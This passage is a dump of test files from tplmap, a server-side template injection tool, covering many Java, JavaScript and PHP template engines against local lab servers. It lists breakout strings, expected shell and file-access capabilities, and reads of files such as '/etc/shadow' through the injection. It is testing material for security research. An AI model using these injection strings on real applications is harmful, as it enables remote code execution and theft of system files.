15 | 'engine': 'freemarker',
16 | 'execute' : True,
17 | 'trailer': '${%(trailer)s?c}',
18 | 'header': '${%(header)s?c}',
19 | 'render': '%(code)s',
20 | 'write': True,
21 | 'read': True,
22 | 'prefix' : '',
23 | 'suffix' : '',
24 | 'bind_shell' : True,
25 | 'reverse_shell': True
26 | }
27 |
28 | expected_data_blind = {
29 | 'language': 'java',
30 | 'engine': 'freemarker',
31 | 'blind': True,
32 | 'execute_blind' : True,
33 | 'write': True,
34 | 'prefix' : '',
35 | 'suffix' : '',
36 | 'bind_shell' : True,
37 | 'reverse_shell': True
38 | }
39 |
40 | url = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s'
41 | url_blind = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s&blind=1'
42 |
43 | plugin = Freemarker
44 |
45 | blind_tests = [
46 | (0, 0, 'AAA%sAAA', {}),
47 | (5, 5, '<#list %s as a>#list>', { 'prefix' : '[1] as a>#list><#list [1] as a>', 'suffix' : ''}),
48 | ]
49 |
50 | reflection_tests = [
51 | (0, 0, '%s', {}),
52 | (0, 0, 'AAA%sAAA', {}),
53 | (1, 0, '${ %s }', { 'prefix': '1}', 'suffix': '' }),
54 |
55 | (2, 1, '<#assign s = %s>', { 'prefix': '1>', 'suffix': '' }),
56 | (5, 1, '<#-- %s -->', { 'prefix': '-->', 'suffix': '<#--' }),
57 | (2, 1, '<#if 1 == %s>#if>', { 'prefix': '1>', 'suffix' : ''}),
58 | (2, 2, '<#if %s == 1>#if>', { 'prefix': 'true>', 'suffix' : ''}),
59 | (5, 3, '<#list [%s] as a>#list>', { 'prefix' : '1] as a>#list><#list [1] as a>', 'suffix' : ''}),
60 | (5, 5, '<#list %s as a>#list>', { 'prefix' : '[1] as a>#list><#list [1] as a>', 'suffix' : ''}),
61 | (1, 5, '<#assign ages = {"J":2, "%s":2}>', { 'prefix' : '1":1}]}', 'suffix' : ''}),
62 |
63 | #(1, 5, '${[1,2]%3Fjoin(%s)}', { 'prefix' : '[1])}', 'suffix' : ''}),
64 |
65 | ]
66 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_java_velocity.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.velocity import Velocity
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 | class VelocityTest(unittest.TestCase, BaseTest):
14 |
15 | expected_data = {
16 | 'language': 'java',
17 | 'engine': 'velocity',
18 | 'execute' : True,
19 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n',
20 | 'header': '\n#set($h=%(header)s)\n${h}\n',
21 | 'render': '%(code)s',
22 | 'write': True,
23 | 'read': True,
24 | 'prefix' : '',
25 | 'suffix' : '',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'java',
32 | 'engine': 'velocity',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'write': True,
36 | 'prefix' : '',
37 | 'suffix' : '',
38 | 'bind_shell' : True,
39 | 'reverse_shell': True
40 | }
41 |
42 | url = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s'
43 | url_blind = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s&blind=1'
44 |
45 | plugin = Velocity
46 |
47 | blind_tests = [
48 | (0, 0, 'AAA%sAAA', {}),
49 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 0, '#set( $a = "%s" )', { 'prefix' : '1")', 'suffix': ''}),
56 | (1, 0, '#if(1 == %s)\n#end', { 'prefix' : '1)', 'suffix': ''}),
57 | (3, 1, '#if(%s == 1)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}),
58 | (3, 1, '#foreach($item in %s)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}),
59 | (0, 0, '## comment %s', { }),
60 | # TODO: fix those, they used to work
61 | #(5, 0, '#[[%s]]# ', { }),
62 | (0, 0, '${%s}', {}),
63 | (0, 0, '${(%s)}', {}),
64 | (3, 1, '#define( %s )a#end', { 'prefix': '1)#end#if(1==1)', 'suffix' : ''}),
65 | (3, 1, '#define( $asd )%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}),
66 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}),
67 | ]
68 |
69 |
70 | def test_custom_injection_tag(self):
71 |
72 | template = '#* %s *#'
73 |
74 | channel = Channel({
75 | 'url' : self.url.replace('*', '~') % template,
76 | 'force_level': [ 5, 0 ],
77 | 'injection_tag': '~',
78 | 'technique': 'RT'
79 | })
80 |
81 | detect_template_injection(channel, [ self.plugin ])
82 |
83 | expected_data = self.expected_data.copy()
84 | expected_data.update({ 'prefix': '*#', 'suffix' : '#*'})
85 |
86 | del channel.data['os']
87 |
88 | self.assertEqual(channel.data, expected_data)
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_dot.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.dot import Dot
9 | from basetest import BaseTest
10 |
11 |
12 | class DotTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'dot',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'render': '{{=%(code)s}}',
24 | 'header': '{{=%(header)s}}',
25 | 'trailer': '{{=%(trailer)s}}',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'dot',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/dot?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/dot?inj=*&tpl=%s'
45 | plugin = Dot
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 1, "{{ %s }}", { 'prefix': '1;}}', 'suffix' : '{{1;' }),
56 | ]
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_dust.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.dust import Dust
9 | from basetest import BaseTest
10 |
11 |
12 | class DustTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'dust',
17 | 'write' : True,
18 | 'execute_blind' : True,
19 | 'prefix' : '',
20 | 'suffix': '',
21 | 'header': '%s',
22 | 'trailer': '%s',
23 | 'bind_shell' : True,
24 | 'reverse_shell': True,
25 | 'blind': True,
26 | 'evaluate_blind': 'javascript'
27 | }
28 |
29 | expected_data_blind = {
30 | 'language': 'javascript',
31 | 'engine': 'dust',
32 | 'blind': True,
33 | 'execute_blind' : True,
34 | 'write': True,
35 | 'prefix' : '',
36 | 'suffix' : '',
37 | 'bind_shell' : True,
38 | 'reverse_shell': True,
39 | 'evaluate_blind': 'javascript'
40 | }
41 |
42 | url = 'http://127.0.0.1:15004/dust?inj=*&tpl=%s'
43 | url_blind = 'http://127.0.0.1:15004/blind/dust?inj=*&tpl=%s'
44 | plugin = Dust
45 |
46 |
47 | blind_tests = [
48 | (0, 0, 'AAA%sAAA', {}),
49 | (0, 0, '{%s|s}', { }),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (0, 0, '{%s}', { }),
56 | (0, 0, '{%s|s}', { }),
57 | (1, 0, '{!%s!}', { 'prefix' : '!}', 'suffix' : '{!' })
58 | ]
59 |
60 | def test_upload(self):
61 | pass
62 |
63 | def test_download(self):
64 | pass
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_ejs.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.ejs import Ejs
9 | from basetest import BaseTest
10 |
11 |
12 | class EjsTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'ejs',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'render': """%(code)s""",
24 | 'header': """<%%- '%(header)s'+""",
25 | 'trailer': """+'%(trailer)s' %%>""",
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'ejs',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/ejs?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/ejs?inj=*&tpl=%s'
45 | plugin = Ejs
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 0, "<% %s %>", { 'prefix': '1%>', 'suffix' : '<%#' }),
56 | (1, 1, "<% '%s' %>", { 'prefix': "1'%>", 'suffix' : '<%#' }),
57 | (1, 1, '<% "%s" %>', { 'prefix': '1"%>', 'suffix' : '<%#' }),
58 | (1, 0, '<%= %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
59 | (1, 0, '<%- %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
60 | (1, 0, '<%# %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
61 | (1, 0, '<%_ %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }),
62 | (1, 0, '<% %s -%>', { 'prefix': '1%>', 'suffix' : '<%#' }),
63 | (1, 0, '<% %s _%>', { 'prefix': '1%>', 'suffix' : '<%#' }),
64 | (2, 1, "<%- include('/etc/resolv.conf%s') %>", { 'prefix': "')%>", 'suffix' : '<%#' }),
65 | (2, 2, '<%- include("/etc/resolv.conf%s") %>', { 'prefix': '")%>', 'suffix' : '<%#' }),
66 | (3, 0, "<% 456/* AAA %s */-123 %>", { 'prefix': '*/%>', 'suffix': '<%#' }),
67 | ]
68 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_javascript.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.javascript import Javascript
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class JavascriptTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'javascript',
18 | 'engine': 'javascript',
19 | 'evaluate' : 'javascript' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': """%(code)s""",
26 | 'header': """'%(header)s'+""",
27 | 'trailer': """+'%(trailer)s'""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'javascript',
34 | 'engine': 'javascript',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'javascript',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://127.0.0.1:15004/javascript?inj=*&tpl=%s'
46 | url_blind = 'http://127.0.0.1:15004/blind/javascript?inj=*&tpl=%s'
47 | plugin = Javascript
48 |
49 |
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}),
53 | ]
54 |
55 | reflection_tests = [
56 | (0, 0, '%s', {}),
57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}),
58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }),
59 | ]
60 |
61 | def test_custom_injection_tag(self):
62 |
63 | template = '/* %s */'
64 |
65 | channel = Channel({
66 | 'url' : self.url.replace('*', '~') % template,
67 | 'force_level': [ 5, 0 ],
68 | 'injection_tag': '~',
69 | 'technique': 'RT'
70 | })
71 |
72 | detect_template_injection(channel, [ self.plugin ])
73 |
74 | expected_data = self.expected_data.copy()
75 | expected_data.update({ 'prefix': '*/', 'suffix' : '/*'})
76 |
77 | del channel.data['os']
78 |
79 | self.assertEqual(channel.data, expected_data)
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_marko.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.marko import Marko
9 | from basetest import BaseTest
10 |
11 |
12 | class MarkoTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'marko',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'render': '${%(code)s}',
24 | 'header': '${"%(header)s"}',
25 | 'trailer': '${"%(trailer)s"}',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'marko',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/marko?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/marko?inj=*&tpl=%s'
45 | plugin = Marko
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 0, '${%s}', { 'prefix': '1}', 'suffix' : '${"1"' }),
56 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }),
57 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }),
58 | ]
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_nunjucks.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.nunjucks import Nunjucks
9 | from basetest import BaseTest
10 |
11 |
12 | class NunjucksTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'nunjucks',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'trailer': '{{%(trailer)s}}',
24 | 'header': '{{%(header)s}}',
25 | 'render': '{{%(code)s}}',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'nunjucks',
33 | 'evaluate_blind' : 'javascript',
34 | 'blind': True,
35 | 'execute_blind' : True,
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/nunjucks?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/nunjucks?inj=*&tpl=%s'
45 | plugin = Nunjucks
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
51 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}),
52 | ]
53 |
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | (0, 0, 'AAA%sAAA', {}),
57 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }),
58 | (0, 0, "{% block title %}%s{% endblock %}", {}),
59 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }),
60 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }),
61 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
62 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}),
63 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}),
64 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}),
65 |
66 | # Comment blocks
67 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }),
68 | ]
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_node_pug.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.pug import Pug
9 | from basetest import BaseTest
10 |
11 |
12 | class PugTest(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'pug',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'trailer': '\n= %(trailer)s\n',
24 | 'header': '\n= %(header)s\n',
25 | 'render': '\n= %(code)s\n',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'pug',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/pug?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/pug?inj=*&tpl=%s'
45 | plugin = Pug
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', {}),
55 | (0, 0, 'AAA%sAAA', {}),
56 |
57 | (1, 0, 'a(href=\'%s\')', { 'prefix' : '1\')', 'suffix' : '//' }),
58 | (1, 0, 'a(href="%s")', { 'prefix' : '1")', 'suffix' : '//' }),
59 | (0, 0, '#container.%s', { }),
60 | (2, 1, '#{%s}', { 'prefix' : '1}', 'suffix' : '//' }),
61 |
62 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }),
63 | (2, 1, '- var a = %s', { 'prefix': '1\n', 'suffix' : '//' }),
64 |
65 | ]
66 |
67 | def test_reflection_quotes(self):
68 |
69 | obj, data = self._get_detection_obj_data(self.url % '')
70 |
71 | if obj.get('execute'):
72 | result = obj.execute("""echo 1"2"'3'\\"\\'""")
73 | self.assertEqual(result, """123"'""")
74 |
75 | if not self.url_blind:
76 | return
77 |
78 | obj, data = self._get_detection_obj_data(self.url_blind % '')
79 | if obj.get('execute_blind'):
80 | self.assertTrue(obj.execute_blind("""echo 1"2"'3'\\"\\'"""))
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_php_php.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.php import Php
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest, EXTRA_DOWNLOAD
12 |
13 |
14 | class PhpTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'php',
18 | 'engine': 'php',
19 | 'evaluate' : 'php' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': """%(code)s""",
26 | 'header': """print_r('%(header)s');""",
27 | 'trailer': """print_r('%(trailer)s');""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'php',
34 | 'engine': 'php',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'php',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15002/eval.php?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15002/eval.php?inj=*&tpl=%s&blind=1'
47 | plugin = Php
48 |
49 |
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }),
53 | ]
54 |
55 | reflection_tests = [
56 | (0, 0, '%s', {}),
57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}),
58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }),
59 | ]
60 |
61 | def test_download(self):
62 |
63 | # This is overriden due to the slight
64 | # difference from the base test_download()
65 | # obj.read('/dev/null') -> None
66 |
67 | obj, data = self._get_detection_obj_data(self.url % '')
68 | self.assertEqual(data, self.expected_data)
69 |
70 | if not EXTRA_DOWNLOAD:
71 | return
72 |
73 | # Normal ASCII file
74 | readable_file = '/etc/resolv.conf'
75 | content = open(readable_file, 'r').read()
76 | self.assertEqual(content, obj.read(readable_file))
77 |
78 | # Long binary file
79 | readable_file = '/bin/ls'
80 | content = open(readable_file, 'rb').read()
81 | self.assertEqual(content, obj.read(readable_file))
82 |
83 | # Non existant file
84 | self.assertEqual(None, obj.read('/nonexistant'))
85 | # Unpermitted file
86 | self.assertEqual(None, obj.read('/etc/shadow'))
87 | # Empty file
88 | self.assertEqual(None, obj.read('/dev/null'))
89 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_php_smarty_secured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.smarty import Smarty
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 | class SmartySecuredTest(unittest.TestCase, BaseTest):
14 |
15 | expected_data = {
16 | 'language': 'php',
17 | 'engine': 'smarty',
18 | 'trailer': '{%(trailer)s}',
19 | 'header': '{%(header)s}',
20 | 'render': '%(code)s',
21 | 'prefix' : '',
22 | 'suffix' : '',
23 | }
24 |
25 | expected_data_blind = {
26 | 'language': 'php',
27 | 'engine': 'smarty',
28 | 'evaluate_blind': 'php',
29 | 'blind': True,
30 | 'prefix' : '',
31 | 'suffix' : '',
32 | }
33 |
34 | url = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s'
35 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s&blind=1'
36 | plugin = Smarty
37 |
38 | # The secured Smarty can't executes any PHP hence no sleep(1) hence no
39 | # blind tests for now
40 | blind_tests = [
41 | ]
42 |
43 | reflection_tests = [
44 | (0, 0, '%s', { }),
45 | (0, 0, 'AAA%sAAA', {}),
46 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}),
47 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}),
48 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}),
49 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}),
50 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}),
51 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
52 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
53 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
54 | ]
55 |
56 | def test_custom_injection_tag(self):
57 |
58 | template = '{* %s *}'
59 |
60 | channel = Channel({
61 | 'url' : self.url.replace('*', '~') % template,
62 | 'force_level': [ 5, 5 ],
63 | 'injection_tag': '~',
64 | 'technique': 'RT'
65 | })
66 |
67 | detect_template_injection(channel, [ self.plugin ])
68 |
69 | expected_data = self.expected_data.copy()
70 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'})
71 |
72 | self.assertEqual(channel.data, expected_data)
73 |
74 | def test_download(self):
75 | pass
76 |
77 | def test_upload(self):
78 | pass
79 |
80 | def test_upload_blind(self):
81 | pass
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_php_smarty_unsecured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.smarty import Smarty
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest, EXTRA_DOWNLOAD
12 |
13 | class SmartyUnsecuredTest(unittest.TestCase, BaseTest):
14 |
15 | expected_data = {
16 | 'language': 'php',
17 | 'engine': 'smarty',
18 | 'evaluate' : 'php' ,
19 | 'execute' : True,
20 | 'write': True,
21 | 'read': True,
22 | 'trailer': '{%(trailer)s}',
23 | 'header': '{%(header)s}',
24 | 'render': '%(code)s',
25 | 'prefix' : '',
26 | 'suffix' : '',
27 | 'bind_shell' : True,
28 | 'reverse_shell': True
29 | }
30 |
31 | expected_data_blind = {
32 | 'language': 'php',
33 | 'engine': 'smarty',
34 | 'evaluate_blind': 'php',
35 | 'execute_blind': True,
36 | 'write': True,
37 | 'blind': True,
38 | 'prefix' : '',
39 | 'suffix' : '',
40 | 'bind_shell' : True,
41 | 'reverse_shell': True
42 | }
43 |
44 | url = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s'
45 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s&blind=1'
46 | plugin = Smarty
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', { }),
55 | (0, 0, 'AAA%sAAA', {}),
56 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}),
57 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}),
58 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}),
59 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}),
60 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}),
61 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
62 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
63 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
64 |
65 | ]
66 |
67 | def test_custom_injection_tag(self):
68 |
69 | template = '{* %s *}'
70 |
71 | channel = Channel({
72 | 'url' : self.url.replace('*', '~') % template,
73 | 'force_level': [ 5, 5 ],
74 | 'injection_tag': '~',
75 | 'technique': 'RT'
76 | })
77 |
78 | detect_template_injection(channel, [ self.plugin ])
79 |
80 | expected_data = self.expected_data.copy()
81 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'})
82 |
83 | del channel.data['os']
84 | self.assertEqual(channel.data, expected_data)
85 |
86 | def test_download(self):
87 |
88 | # This is overriden due to the slight
89 | # difference from the base test_download()
90 | # obj.read('/dev/null') -> None
91 |
92 | obj, data = self._get_detection_obj_data(self.url % '')
93 | self.assertEqual(data, self.expected_data)
94 |
95 | if not EXTRA_DOWNLOAD:
96 | return
97 |
98 | # Normal ASCII file
99 | readable_file = '/etc/resolv.conf'
100 | content = open(readable_file, 'r').read()
